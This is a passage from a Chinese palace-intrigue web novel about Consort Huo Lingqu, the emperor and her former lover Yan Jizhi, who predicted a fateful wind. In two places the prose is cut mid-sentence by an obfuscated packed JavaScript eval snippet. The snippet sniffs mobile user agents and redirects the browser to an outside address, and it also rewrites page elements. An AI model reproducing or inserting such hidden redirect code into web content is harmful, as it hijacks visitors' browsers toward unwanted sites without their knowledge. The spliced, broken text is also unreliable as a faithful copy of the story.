“我还请了舒窈,待会儿她若是跑不动了,可以来扶她一把。”晏霁之补充。 嬴忱璧愣是不知道该是什么心情,霍海啸恭维他:“你可真做得出来。” 霍舒窈赶来,获悉情况后在心里不厚道的想乐,毕竟她也被晏霁之整得很惨过,晏霁之一视同仁这点还是很值得褒奖的,轻咳下,默默端正态度。 霍灵渠跑得要哭了,双膝跪地趴在石板上,嬴忱璧去扶,霍灵渠触电般挥开,苦哈哈站起来接着跑,霍海啸没眼看,嬴忱璧气得想训晏霁之都于事无补,太后来了也只能干瞪眼,乐邑和霍雄鹰随后过来,乐邑想笑虽然很不厚道,霍雄鹰真想揍他。 最后,霍秦川扯着霍漓江,薛述聪和魏王都来关雎宫瞧了瞧,霍灵渠瘫在青石板砖上哭得像只花猫,乐邑陪太后扶贵妃进屋,霍舒窈去指挥婢女们准备汤浴、清热和安神的汤水。 霍雄鹰去搬刑具准备随时往晏霁之身上招呼,薛述聪赞美他:“你可真做得出来。” 晏霁之却之不恭:“欠债嘛总是要还的。” 霍漓江踹他小腿一脚,皇帝忒想补上两脚:“抽你二十鞭你再走?” 晏霁之恭谨颔首:“陛下,臣刚刚有一个想法。” 嬴忱璧要笑不笑:“说。” “河间军的将领遭黑手,臣怀疑是代王府做的,臣以为可以把这消息送给虢王,让虢王以此威胁代王,指代王是想让魏王怀疑圣人好挑拨魏王和圣人内讧,魏王三十岁生辰将至,逼代王在魏王的寿宴上害死魏王让河间军暴起,把水搅浑。” 晏霁之语毕,他们看向他,你可会跳话题了! 但这事? 嬴忱璧沉吟道:“虢王能够逼出是否是代王在暗害河间军的将领,够了,皇兄的生辰,不要闹出事来了,穆国公走趟太微宫请示圣人,圣人若允,若是代王一时行差踏错,让代王拿二十万两白银给魏王赔罪再交二十万亩田地上来,这事就过了吧。” 薛述聪想,这是,皇帝要把代王、虢王和晋王一锅端? 穆国公霍秦川领过旨意,魏王率众告退。 嬴忱璧站在殿前看过天际湛蓝,进殿问贵妃的情况,贵妃还不好见他,皇帝遂给太后问个安便回宣政殿,傍晚过来,贵妃睡着,嬴忱璧留会儿后仍安静离开。 霍灵渠其实睡得并不踏实,喝两碗安神汤都没用,她夜里还做梦了要羞死她的梦,早上醒来萎蔫疲惫,皇帝过来,她没精打采;太后姑母来看她,她也意兴阑珊;霍雄鹰跟她说要给晏霁之点颜色看看,她才振作。 堂姐来时,她正在心里猛扎晏霁之的小人。 “今儿个还好吧?”霍舒窈看她的精神头应该像是没有大碍了。 霍灵渠想不好是还好还是还不好,没搭话。 霍舒窈看她这小样:“霍雄鹰给你出好些个整晏霁之的主意,你一个没答应?” 霍灵渠高冷:“霍雄鹰的主意不靠谱,没一个靠谱的。” “但总比你没想还击好吧。”霍舒窈举例警示:“看萧灼灼,被欺负成什么样了,怎么会落得这么惨呀,不就是软弱得连还手都不敢只剩挨打的份儿了。” “大姐,你把晏霁之跟那种人混为一谈,你会很惨的。”霍灵渠轻松破击。 霍舒窈一噎,被迫扭转:“霍雄鹰的主意是不靠谱。” “宜春县主?”霍灵渠不解:“她和她家人对朱家一点防备都没有吗?” “谁昨天刚被整得很惨,你对晏霁之有防备吗?”霍舒窈看她真不嫌自己打脸。 霍灵渠反对:“我和晏霁之耳鬓厮磨几年了,我又不在意和他燕好,但萧家很在意啊,宜春县主自己都不再想嫁那个人了,他们对朱家还没有防备不是有病吗?” “行吧,算你狡辩成功。”霍舒窈摆摆手,讥诮溢于言表:“谁晓得他们一家什么想法,之前劝他们不要去朱家,嘴皮都磨破了,没用啊,出事了又装得苦大仇深。 都是我公爹赶去做主说灼灼就算这辈子嫁不出去、萧家养到老、都不做朱家妇才把他们一家带走,若不然,人家这会儿连亲事都落定了也没准儿,谁知道呢。” “宜春县主还好吗?”霍灵渠问。 “在江南疗养,她娘和二哥三哥都陪着,她娘和她二哥怕她看见他们难受在隔壁陪着,她三哥和她住一个宅子里护着她。”霍舒窈真同情不起来。 霍灵渠错愕看着堂姐,霍舒窈点头,就是这么夸张。 “这事,当做被狗咬一口不行吗?”霍灵渠一样嫌矫情:“班家的例还在眼前呢,班氏带着孩子都不畏将来,萧灼灼是被害的都没有勇气不畏流言吗?” “她脸皮薄呀,被湘王说她来打秋风都受不住。”霍舒窈端茶盅抿口茶。 “还是自觉金贵吧。”霍灵渠感悟道:“班氏的例,萧家没有感触,因为他们自觉金贵,他们对金贵的认知就是要受人艳羡,和离,是丢人,和离的妇人还能嫁得什么权贵人家,所以萧灼灼一家才会觉得她这个事很大,像天都快要塌了。” 霍舒窈看她侃侃而谈得:“假若是你发生这种事,你能当做是被狗咬一口?” 霍灵渠反问:“你不当做被狗咬了一口?” “呃……”霍舒窈机智转移:“昌隆侯那儿子还活着呢。” “还没死?”霍灵渠惊了,霍舒窈肯定道:“他们谈的时候压根儿没有涉及这个问题,我公爹能去把弟弟和侄女带走就不错了,这大伯到底也是外人呀。” “天啊。”霍灵渠就没见过这么昏的豪门大族,严正道:“放萧灼灼在江南,朱家那位长着腿可以找去吧,最后变成你公爹反被打脸都不是没可能的,大姐。” 霍舒窈不想说话。 霍灵渠无语凝噎:“大姐,这件事若在咱们家,就一个条件,让那个男的死,朱家想要什么都可以谈,但那个男的必须死,这根本就不是什么事嘛。” “对啊,祖父一定会说,屁大点事。”霍舒窈看向妹妹,她虽不矫情,但真不知能否那么豁达:“假设你童年没被掳走,出阁前遭遇这种事,你怎么办?” 霍灵渠纠错:“这又不是我的问题。” 霍舒窈再假设:“若是你的未婚夫退亲了呢?” 霍灵渠不以为意:“想退退呗。” “你还想让我的兄弟养你到老啊。”霍舒窈着重道:“你的弟弟们可养不起你。” “我爹会留家业给我,我可以自己养自己。”霍灵渠心说你才难养呢,我很好养活的。得亏霍舒窈不知道她妹子的腹诽:“可你一个人过,你不嫌闷啊?” “闷就出去走走嘛。”霍灵渠不经意看眼堂姐的孕肚,捧茶盅喝茶。 有个声音冒出:“若是婚前遭遇那种事还怀孕了呢?” 姐妹俩异口同声:“当然打掉啊。”敏捷得都没分辨声音,答过,看见皇帝和乐邑兄妹,两个人站起来请安,嬴忱璧默下求证:“贵妃觉得这不算什么事?” 霍灵渠不大友善:“这应该算什么事?” 乐邑想呛她,嬴忱璧再问:“婚前失掉贞洁被退婚也不算什么事?” 霍灵渠目光幽幽:“你是说,按我大姐的假设,我安稳在霍家长大,在我嫁给你之前,我受到伤害,你非但不会护着我还会落井下石?” 霍舒窈忍住不笑,乐邑看她真是要金贵死了,自我感觉怎么就那么好呢,微微被扎心的皇帝挣扎:“贵妃,朕只是借此假设想问你——”迎着贵妃的杀气,好吧,他这个前未婚夫假设都不要想假设,否则就是想落井下石要被贵妃批判死。 “好,朕不打扰贵妃了。”嬴忱璧刚欲走,霍灵渠喊住他:“你很介意吗?” “贵妃觉得我对你不会有真心?”嬴忱璧立时戒备,介意吗?他也说不上来吧。 “我想,女子受到伤害,失掉贞洁,放在男人和女人的层面,男人自觉比女人高一等,不应该是以贬低打压女人来尊崇自己。”霍灵渠温和慢语却是更有气势锋芒。 “你会觉得这算个事是你把人框定着,你认为女人的价值只在于嫁人、相夫教子,当然这不是你的问题,大多数人包括女人都是这样的认知。” 霍灵渠注视着皇帝,不卑不亢,鞭辟入里:“我告诉你,霍家的价值,至少是在我祖父霍擎手中的霍家,霍家的女孩都可以有底气活成自己,不必受世人眼光的枷锁,不必被世人流言的重负,女子一样潇洒,而不是非得按照世俗的框架去走。” 霍灵渠最后说:“这是你终其一生都做不到的。” 嬴忱璧霍然瞪向霍贵妃,乐邑长公主和霍舒窈告退,走出两步,在圆柱旁看见晏霁之,默契地当作没看见,径直往外走,来到殿外,乐邑看看霍舒窈,还是没说什么。 殿阁内,窗台前金桂横斜映进明媚,嬴忱璧定定凝视霍贵妃,霍灵渠淡淡笑:“因为你本身就是规则的捍卫者,你自发的想要维护世俗的规定、约定俗成的秩序。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏霁之拿起荷包,把骗子二字摆在她面前:“请你解释一下这两个字。” 荷包的一面就绣两个字:骗子。 霍灵渠侧眸斜睨眼,反而像受到助威一般谴责他:“四皇子的满月酒前,在宛然亭,你跟我说什么,一个毁容的女人,你都能不在意,不是骗子是什么?” 晏霁之很平和:“我喜欢的女人,不论她什么模样我都喜欢,哪儿有问题?” 霍灵渠讽刺的补出:“前提是容颜尚在,绝不能是个丑八怪。” 晏霁之注视着骗字:“你认为我们不能共白头,你美貌不再,我就会嫌弃你?” 霍灵渠翻脸给他看,就是默认。 晏霁之藏起情绪反谴责:“但是你能相信你的六哥哥不注重容颜,是吧?” 霍灵渠看着他,不是负气胜似负气:“对!” “皇帝应该还算放心我们今天的会面才会放任我过来,但我觉得他猜错了。” 晏霁之疾步绕过桌案堵在她面前,弯腰俯视,桃花眼风流洋溢:“你觉得呢?” 霍灵渠下意识想后退:“你、你先让开,退,退到我十步之外。” 晏霁之莞尔,靠近她暧昧:“我会在意妻子的相貌胜过在意自己的性命?” “够了。”霍灵渠提提劲儿,挺直背脊相抗:“你犯不着为争一口气就刻意闹腾些什么,这样意气用事,太幼稚了,没意思,荷包拿了,贝壳也送了,你走吧。” 晏霁之贴在她耳畔诱惑:“想不想我?” 霍灵渠脸爆红,她太懂他说的这个想是何意了,抬手推他,下一瞬,二人四目相对,霍灵渠心咚咚跳,晏霁之抚她脸颊,她指尖酥麻,晏霁之吻她,霍灵渠晕软的像在云间。人,或许真的很奇妙,不敢相信他又抗拒不了他,又想要他。 皇帝回宣政殿了。 详查楚家的钦差回京来,楚昭仪的父亲及亲眷被参一案落下帷幕,当中,楚昭仪的父亲罪犯最重判刑十五年,楚家嫡系旁支入狱者八人,相当于整个楚家没落,同时累及楚昭仪,皇帝将楚昭仪贬为从五品美人,楚美人,移出钟萃宫,迁入翡素轩。 二皇子和三皇子暂养在关雎宫,中秋过后,送出皇宫养在谷王府。 宫廷众人唯独意外楚美人的安静,从第一次降位以来,楚美人好像就没声了。 两个小孩站在霍贵妃面前,二皇子迟疑问:“贵妃,我们能不出宫吗?” “这是父皇的决定,父皇的考量一定是对你们最好的。”霍灵渠宽慰。 “父皇说,弟弟满七岁,我们都够到能搬出内廷了,或者弟弟七岁前母妃能晋为婕妤,我们就能回宫了。”二皇子忍哭道:“贵妃,我们母妃几时能晋为婕妤?” 霍灵渠微怔,避过道:“你这两天若不想去学堂,我帮你跟你父皇说,让你休息几天,过两天我带你们去蓬莱池畔散散心,小孩子,不要愁眉苦脸的。” 二皇子瘪瘪嘴:“谢谢贵妃。” “你们对关雎宫陌生,单独住怕会孤单,你们就住一间寝屋,愿意吗?”霍灵渠提议,三岁小孩看向哥哥,二皇子点点头,霍灵渠再叮嘱些话,让宫人带他们去歇息。 夜里,皇帝踏进贵妃寝阁,已经洗香香的两个小孩在贵妃的床帐里逗还在襁褓的小弟,百余日的小婴儿能翻身能蹬腿还能想抓哥哥,对哥哥们来说,可好玩了。 霍灵渠趁小孩们看见父亲前把皇帝请到外间,替二皇子请几天假,皇帝同意,她再道:“陛下何必那么跟两位皇子说呢,这话会成为他们心里的刺。” “那也是他们的生母扎下的刺,朕就事论事,只要楚美人振作,能让朕给她晋位,两个皇儿就能重新养在她膝下,难吗?她不懂皇儿们的惶恐不安和难受吗?”嬴忱璧无动于衷:“她若宁愿两个孩子放在宫外养,被亲骨肉怨上是她自作自受。” “陛下过问过楚美人这两天的状况吗?”霍灵渠斟酌。 “全都在冤枉打压她楚家。”嬴忱璧冷诮,话落,抬步往内室走,霍灵渠眼神微闪,楚美人还能不作茧自缚吗?霍灵渠再回到床榻前时皇帝已经坐在床沿关怀两个儿子,两个小孩明显比刚才拘谨,甚至想抱小弟挡挡,想亲近父亲又不敢。 霍灵渠拉过两个小孩,笑道:“我们今夜打地铺,你们跟父皇睡,好吗?” 嬴忱璧:“……” 兄弟俩新奇的看看贵妃再望向父皇,同样被新奇到的皇帝应:“好。” 两张小脸冒出局促的喜悦,虽然仍有忐忑。 八月初六的上午,对,霍灵渠就是故意选八月初六,她喊上翁嫔,带三个小皇子去蓬莱池畔晒太阳。两个小孩在草坪玩蹴鞠,翁嫔抱着襁褓看小婴儿,霍灵渠压抑着不想晏霁之,胡乱看间注视到在玩耍的俩兄弟,莫名一怔,心头涌起难以言喻的感觉。 一个身影跑来,抓起两把糕点就跑,翁嫔呆了呆:“哎……” 那是大皇子? 宫人们把小偷追回来,大皇子被带到石桌前,腮帮塞得鼓鼓的,两只手还捂着嘴巴,瞪着眼睛看霍贵妃,眼里透着胆怯,再也没有了以前的张扬恣意。 霍灵渠倒杯水给他:“你一个人,跟着你的小太监呢?” 大皇子把塞满的糕点咽下,捧起茶碗咕咚咕咚喝完水,没说话。 翁嫔诧异,大皇子莫非是偷偷跟他们过来的? 霍灵渠递盘糕点给他:“你吃不饱?” 小小的少年抱住糕点盘低下头,翁嫔不可思议了,大皇子的饭量是有多大呀? 二皇子牵着弟弟走过来,霍灵渠问:“郭修仪在抢你的膳食?” 翁嫔惊讶了,郭修仪现在一天是就给碗稀粥和两个馒头,但也不至于抢孩子的膳食吧?她转向大皇子,仍低头,认同了,翁嫔有点难以置信。霍灵渠跟他商量:“我吩咐怡华宫的宫人,今后你用膳时不准郭修仪打扰你,你愿意吗?” 大皇子沉默片刻,点点头。 “我让膳房给你送碗羊肉面来,你还能吃得下吗?”霍灵渠温和地拿手绢给他擦擦脸,大皇子再点头,霍灵渠笑道:“先跟弟弟们玩会儿,宫人很快会送膳来。” “谢,谢贵妃。”小孩还是懂了礼貌,二皇子走过去,大皇子看着这两个弟弟,宫人们带三位殿下去草坪玩,翁嫔看向她襁褓中的孩儿,轻叹声。 霍灵渠手托腮望着他们兄弟,眼底逐渐落进凝思。 晏霁之出京办差,在天黑前赶到三百多里外的驿站投宿,烛影昏昏,晏霁之闭目养神,屋门猛地被踹,嬴天漾扛着刀杀气腾腾进门,踩着椅问:“滕王的事是不是真的?”揪出了昌隆侯在南疆的爪牙送进京去,因滕王的事出来,嬴天漾亲自来趟。 晏霁之扫他两眼,嬴天漾坐下来,晏霁之给出看法:“我认为,是。” 嬴天漾好笑:“就为出头,昌隆侯至于这样处心积虑吗?” 晏霁之将蜀王外祖家的惨祸相告,附道:“我是怀疑他二十年前就有帝王梦了。” 嬴天漾深呼吸算另一笔账:“霍灵渠做你四年多的宠妾,你都不告诉我?” 晏霁之冷漠:“告诉你做什么?” 嬴天漾理所当然:“跟你抢啊。” 晏霁之脸色很正常的说:“所以我不告诉你。” “不告诉我的下场就是人被皇帝抢走了,你要是告诉我,她还能被皇帝抢走吗?”嬴天漾数落,晏霁之心平气和:“对我来说,你们堂兄弟俩是谁跟我抢有差别吗?” “当然有差别。”嬴天漾大言不惭:“我会比老五对你好。” 然后,他没有意外的被喷了:“滚!!” 嬴天漾淡定扛刀出屋,去隔壁屋看滕王。 皇帝和太上皇看滕王闲得,晏霁之出京办差,就把滕王塞给晏霁之做副钦差了。 同此夜,昌隆侯在太原府的别庄里对着安西的来信发笑,大军还没有消息,这批将领的家眷又失踪时昌隆侯的心就沉了,果然啊,这群人要来跟他坐地起价了! 昌隆侯这一个多月来很忙很忙,忙到在江南的孟先生都觉得有点不正常,孟怋乂目睹过朝廷来人把郗家连根拔起,回到住处又沉思半响,念到晏霁之的疲字时眼神一闪,再想遍,孟怋乂豁然开朗,扬笑往外走,又止步—— 当夜狂风大作真是巧合吗? 156. 第156章 夜雨滂沱,檐下宫灯雾蒙蒙的迷离。 雨打芭蕉,百般滋味化心头。 皇帝宿在关雎宫,自二皇子和三皇子暂交给贵妃照料,皇帝都宿在关雎宫,今夜暴雨,没有打地铺,俩小孩在大床里睡着了,皇帝睡软塌。 烛影浸凉,嬴忱璧坐在床头似若呢喃:“是不是她们都不把我当回事,所以才根本没想起过还有我这个人?” 还可以报给皇帝知晓请皇帝做主! 喻侍郎昨日回京,给喻美人带回来昌隆侯夫人的要求:让朱太妃死。 嬴忱璧从昨儿个等到今天天黑,喻美人终没有禀告。 霍灵渠抱膝坐在床头,低头,似乎在想晏霁之离京第四天了。 嬴忱璧未再多言,走去软塌准备歇息,霍灵渠说:“你也一样啊。” “什么,贵妃说什么?”嬴忱璧没听懂。 “你女儿去世时你很悲痛,很愤怒,可姬家死九百多人近乎阖族俱灭,你获悉后照样能拿来挑刺。” 霍灵渠缩着再抱抱自己,哀凉道:“谁又能和谁感同身受?” “一个近乎灭族的惨祸,对你来说不也就几个字?”霍灵渠压抑住,把苦痛流在心里:“陛下能不用杀戮来立威还是不要用杀戮了,不是只有你的家眷才配心疼。” 嬴忱璧心涩下,很涩。 寝殿外,一夜大雨瓢泼,第二天仍是哗哗落雨,伴着翻新的泥土香,雨丝挥洒至黎明,天空放晴,蓝湛湛的天清爽纯净,官差押送佟图匡和佟振羽兄妹出京服苦役。 昌隆侯进京来,就滕王状告他和虢王的事给个说辞,就四个字,清者自清。 郗猷费尽心机送信求他保住郗家,瞎不瞎啊,他怒得都要把郗家剁了,皇陵的事出来,郗家被处夷三族,谁还看不懂,不论太上皇信不信,皇帝宁可错杀都不会放过他了,是他,不能推给他才让郗家担着,他原本尽可稳扎稳打有条不紊,全被郗家毁了! 昌隆侯表过态,当天就要离京了,孟怋乂急赶来,交谈过,昌隆侯脸色一变再变。 晏墉从衙门回府里,昌隆侯见到他就道:“我的幕僚要买你家世子的手稿。” 一箱一箱的大木箱抬上来,在堂屋前几乎堆成座小山坡,孟怋乂上前,随手开只箱笼,抄起堆纸片查看,晏墉打量这位幕僚,在霍家的霍老太爷听闻晏家消息,怔怔坐会儿,找出年轻人请他保管的荷包,他老头下意识不愿多想,这是,还是来了? 英王府,孟怋乂手一松,纸片如雪花般掉落:“是他算出了那场风。” 虢王惊奇:“先生,风怎么可能能算?” “只要有本事,如何算不得?!”孟怋乂心弦绷紧,晏墉脸色微变,昌隆侯怔下,冲上前抓起把纸片,暗钉曾递上来过,他看过了没在意,这是?昌隆侯突然那么想笑,暗钉能拿到那些就是晏霁之放行的吧,料定他看不懂啊,哈哈哈…… “不该啊,这场风若只为把侯爷的书房烧毁对他来说肯定是亏的。” 孟怋乂眼神一闪,面若沉重的看向昌隆侯,昌隆侯有很强烈的不好预感:“何事?” “东海?!”孟怋乂语气莫辩:“他一定在东海做了些什么。” 昌隆侯握拳,险些站不稳。 晏墉拿起堆纸片看看,才发现这些纸片很重。 人群涌入英王府,晏煦之神奇,老哥之前闭关是在算风,哥是要成神吗? 霍秦川抄几张纸调侃同僚们,看得懂吗? 班蕴堂看向薛述聪,薛述聪不知道什么想法,霍雄鹰就很自信:“你说他这些算术在算风就是在算风啊,你瞎掰吧你。” 孟怋乂充耳不闻,霍雄鹰要呛被霍海啸拦住,霍雄鹰想怼这黑心的大哥。 昌隆侯还没走,孟怋乂还要见霍贵妃。 虢王就觉得烦糟透了。 皇帝和太上皇率批臣僚到来,众人行过礼,奴婢们搬椅来,两位至尊没坐,太上皇接过份手稿,魏王看这位幕僚,皇帝嬴忱璧问:“孟先生要见贵妃作甚?” 孟怋乂颔首道:“禀陛下,草民只想确定流光姨娘是真是假?” 嬴忱璧淡漠:“此言何意?” 孟怋乂言之凿凿:“他年少时轰轰烈烈的情殇是假的,他只是拿玉藏珠当幌子。” 看官们:“……” 众人面面相觑,嬴忱璧笑:“孟先生莫不是在信口开河?” 孟怋乂略过皇帝看向霍贵妃,霍雄鹰感觉舒坦点,这人狂傲的,大家都一个待遇,陛下都没有例外。 嬴忱璧顺气下没有计较,霍灵渠低眸认同:“他没有娶妻的心思,还相信自己会很多年都没有心思娶妻,又不想长辈们烦他,所以找个幌子。” 霍秦川有点受惊:“娘娘,晏霁之当年闹得可大了。” 霍灵渠眉眼低落虽然答得很顺:“不闹大,他怎么立誓三十岁前不娶妻?” 好像不大能理解的人们:“……” “为啥不想娶媳妇?”霍秦川怪了,霍漓江还没排斥娶媳妇呢。 “他三十岁前不想娶妻就不想娶妻。”霍灵渠怼她大伯:“你为什么喜好美色,你为什么偏好拿蠢货来逗闷,哪儿有那么多为什么,人又不是千篇一律的活着。” 于是霍秦川就想找霍漓江撑腰,孟怋乂提问:“传闻,英王世子很讲究?” 霍灵渠又消沉:“流光姨娘身边有个大丫鬟名唤朱楼。” 孟怋乂笑了:“看来流光姨娘可能是真的。” 霍灵渠没有理会,霍漓江打量:“这打什么哑谜呢?” 是霍海啸解释的:“晏霁之那么讲究,怎会允许丫鬟的名字中有个字与心爱之人同音,假若他对玉藏珠的爱慕是真的,流光姨娘这婢女一定会改名才是。” 被憋住以及噎住的他们:“……” 嬴忱璧含笑对贵妃:“贵妃,是海啸解释的原因吗?” “是啊,不然流光姨娘怎会每年都要对他忍无可忍。”霍灵渠隐隐有丝想呛皇帝,不是她想针对谁就是心里不舒服,她略过晏霁之的挑剔想晏霁之能陪陪她,人呢? 孟怋乂再问:“所以他护卫的排序只有晏一、晏四、晏七、晏九、晏十,是?” “他嫌晏二晏三晏五晏六晏八难听啊。”霍灵渠话落,嬴忱璧被噎得不上不下,个混球要不要讲究成这样啊? 霍秦川都想捂脸了,孟怋乂第三问:“传闻英王世子少年时对玉藏珠是一见钟情,敢问,他为什么没有对玉藏珠一见钟情?” 霍灵渠懒怠怠的:“他对自己都没有一见钟情,怎么可能会对别人一见钟情。” 孟怋乂莞尔笑,只感觉他的血有点热,真想会一会啊。 薛述聪凑个趣:“人怎么可能会对自己一见钟情?” “所以他不会对任何人一见钟情了。”霍灵渠总结陈词,薛述聪一噎,孟怋乂接话道:“多谢霍贵妃了,再冒昧一问,不知他对这场风有没有后续?” “后续?”霍灵渠没懂,霍擎站出来说:“有!” 众人看向老穆国公,霍擎走到太上皇面前,呈上只木匣:“端午后,这孩子来找过我,假若他走在我老头或者霍秦川前头,就把这个当他的遗物给贵妃看一眼。” “女婿啊,假若这孩子真会走在我前头,你让皇帝开个恩,让贵妃看看他的遗物吧。”霍擎怅惘,当戏看的人终于意识到情况没那么轻松,霍雄鹰感觉怪怪的,薛述聪滋味莫名,霍灵渠俏脸渐白,他说,会有杀身之祸? 太上皇接过木匣,打开,拿起荷包看过,心微微怔。 这就真真是遗物了,他是什么都想到了的。 嬴忱璧走过几步看是何物,立时被噎得戳肺管,个混蛋! 霍灵渠瞬间心酸,想拿荷包时手背被敲一记,霍擎凶道:“抢什么抢,这不是你的,人死了,才能当遗物给你看一眼,人还活着呢,你连看的资格都没有,退一边去。” 霍灵渠站定不动,霍擎指挥大孙女,霍舒窈连忙把妹子拉开。 “可以没有这场风吧?”太上皇道:“或者,换一种方式?” “是啊,我也问了,明知山有虎,为何还要偏向虎山行?”霍擎仰仰头,有点眼酸:“这娃娃说他想到霍海啸,若是海啸想到同样的计划,大约是不会做的。 论起对家族的责任感,霍海啸比他强多了,若是只有他死才能保全家族,他不会惜命,但他大概也不能只为活着太压抑自己。” 安静袭过,班丞相唏嘘,晏煦之心颤颤的,都想到了,晏霁之猜他会走在老穆国公前头不只是昌隆侯要害他,而是皇家、太上皇和皇帝容不得这样的人活在世上。 晏副相心酸地闭闭眼。 闹闹哄哄而来,寂寥散去。 孟怋乂把这些箱笼全带走了,英王晏墉站在原地,心沉得像要把他的背脊压弯。 走出晏家,诸多大人不约而同选择步行,热血、大义,总是触人心怀。 房副相遥望昌隆侯远去的背影,丞相笑问在想什么,房副相依然注视前方说:“他这位幕僚会想阻拦吗,朝廷不会因少位才俊就扑灭不了一点叛乱,英王世子若在江南遇险,意味着什么,我们视死如归?这能激励多少士气,他这个幕僚不像能想得到的。” 霍秦川看霍海啸死沉沉的样干啥呢,踹他一脚,又不怀好意看向霍漓江,霍漓江反瞪,霍秦川理直气壮:“你闺女接下来不得要死要活,你不得跟着遭罪呀,我都想替你觉得冤,不是你女婿呢,还得要你操着岳父的心。” 霍漓江愣是没驳,头疼。 皇帝嬴忱璧送贵妃回到关雎宫,没走,就盯着贵妃,霍灵渠萎蔫得没心情理会,嬴忱璧不再拐弯抹角:“莫非贵妃认为朕会因此伤害晏霁之的性命?” 霍灵渠如若未闻,嬴忱璧诚挚道:“我大概知道他这场风是如何筹备的了,东海那边,我收到过消息,是一场很大的动静,原牧炽给他筹备的。晏霁之能算定,也得筹备,需要筹备就会有痕迹留下,瞒不住的,朕不忌惮,真的不忌惮。” 霍灵渠仍旧不语,嬴忱璧坐到贵妃身边,感喟道:“朕没有伤害晏霁之的想法,当时的一瞬间,我只感觉到这世间的精彩,而我,我执拗在没有得到的苦涩中是那么浅薄狭隘,我只觉得这件事一下把我的心房打开了,真的。” “你对我都那么大疑心。”霍灵渠没有谴责只是陈述,陈述都掩不住哭腔。 “朕不否认,有过两个瞬间对贵妃戒备,做君王的戒备。”嬴忱璧略过贵妃失态安抚:“但此事,我真的没有伤害晏霁之的想法,甚至于我若因此想害他,好像我这个皇帝多无能似的,贵妃,此事对我真的只有惊喜,别无其他。” “就算你不会,太上皇呢?”霍灵渠清醒认识道:“你能保证你爹吗?还有昌隆侯,昌隆侯那位幕僚不是泛泛之辈,霁之怕是自己都不敢想能平安回京,否则他不会、不会……”不会连遗物都备下了,霍灵渠一想就揪心,把眼泪逼回去。 嬴忱璧眼神一厉:“这位幕僚,确是个唯恐天下不乱的。” 三岁小孩在殿外探出头,跑进来,拉着贵妃的衣袖,乖萌萌的:“父皇~” 小孩黏人,他爹带贵妃出宫,他就在盼着了。嬴忱璧摸摸皇儿的小脑袋,暂且先走了,夜里再回来。霍灵渠没话,把小孩抱起来,怀里不是空落落的,好受些。 小孩也不多话,有个怀抱抱着他,够了。 夕阳红,玉藏珠对镜自笑,荒唐地笑,幌子,她是被当做幌子? 一夜过去,清早,霍漓江刚进衙门,宫里的小太监就来了:贵妃请父亲一叙。 霍漓江走进关雎宫,见到闺女,看她摆了一堆瓶瓶碗碗,还搭个炉子在炖鸡汤,鸡汤的香味都飘出来了,霍漓江诧异:“你这是请你爹来喝鸡汤?” “这是我给自己炖的红枣乌鸡汤,补血的,你要补血吗?”霍灵渠抓把红枣给爹爹,霍漓江接过红枣评价:“那你又做啥了还要特意补血?皇帝对你的行为都迷惑。” 霍灵渠捧起白玉碗抿口红枣银耳羹,淡淡道:“我要放血,我想过了,我的血有用的,我想送一瓶我的血给霁之,又恐一瓶会不够,你说我送两三瓶还是一坛好?” “不要命了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459348|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”霍漓江当即拍桌,难怪这丫头搞一堆红枣在身边,亏她还晓得要补血:“你打小滴几滴血有多虚弱,不知道啊?” 还一坛,真亏她能想! “那我怎么办呀?”霍灵渠委屈:“我还救过嬴天漾呢,放两三瓶血,没事的。” 霍漓江眼睛疼,什么叫你怎么办呀,你是死丈夫下半生没有依靠还是死丈夫要殉情呀,你都喜欢你六哥哥了咋都还挡不住:“你光顾着你想送,你问过那混球想不想要吗,若是他不肯要,你又把自己折腾得半条命都搭进去了,冤不冤啊?” “为什么不要?”霍灵渠下意识反驳:“这是给他救命的。” “且不论你这倒霉想法有没有效用,你想过没有,太上皇想拿你来修什么长生不老,他可是知道的,他想跟你做夫妻,若是收了你的血,他还敢相信你会对他放心吗?”霍漓江一本正经:“他都豁命了,他还能给你们的将来留这样的隐患吗?” 霍漓江笃定:“他死都不可能要你这玩意儿的。” 霍灵渠傻呆呆看看她爹,抱膝埋头,痛得几欲飚泪,他是觉得她打消不掉对他的疑虑,所以宁可将自己置身在有杀身之祸的险境来向她证明他不怕死吗? 霍漓江哄:“好了好了没啥好杞人忧天的,爹看这混球不像短命的。” 霍灵渠抓颗红枣丢她爹,霍漓江无奈:“这还什么事都没有呢,总不能说风就是雨吧,太上皇不想容他活在世上也得在和皇帝争出高低之后,皇帝当前肯定不会出手的,昌隆侯能搞得定他吗?想都不要瞎想啦,放心了,混球会平安回京的。” 霍灵渠抬头,像刚破壳的小幼崽透着对新世界的忧惧胆怯:“真的?” 霍漓江摸摸女儿的头,眼中慈爱:“真的。” 爹爹走后,霍灵渠仍痴坐着,魏王进殿来,霍灵渠一个眼神没给。 “晏霁之是不是……”魏王斟酌,霍灵渠抬眸看他,魏王道:“你难道就没有怀疑过,”魏王的指向很清楚,看霍灵渠还一脸迷糊样,魏王挑明道:“既不是玉藏珠的缘故,他若是没有难言之隐,妾室环绕,他做柳下惠,正常吗?” “他避孕。”霍灵渠告知,魏王好像没懂:“什么?” “你自己把放英王府后院的暗钉撤走了,他愿意他来避孕了,你指望我向你禀告什么,他宿在流光的屋里时不是单纯睡觉还有行鱼水之欢?”霍灵渠怼怼。 他很正常,你自己消息闭塞,不知道而已。 魏王没好气地憋着点气走了。 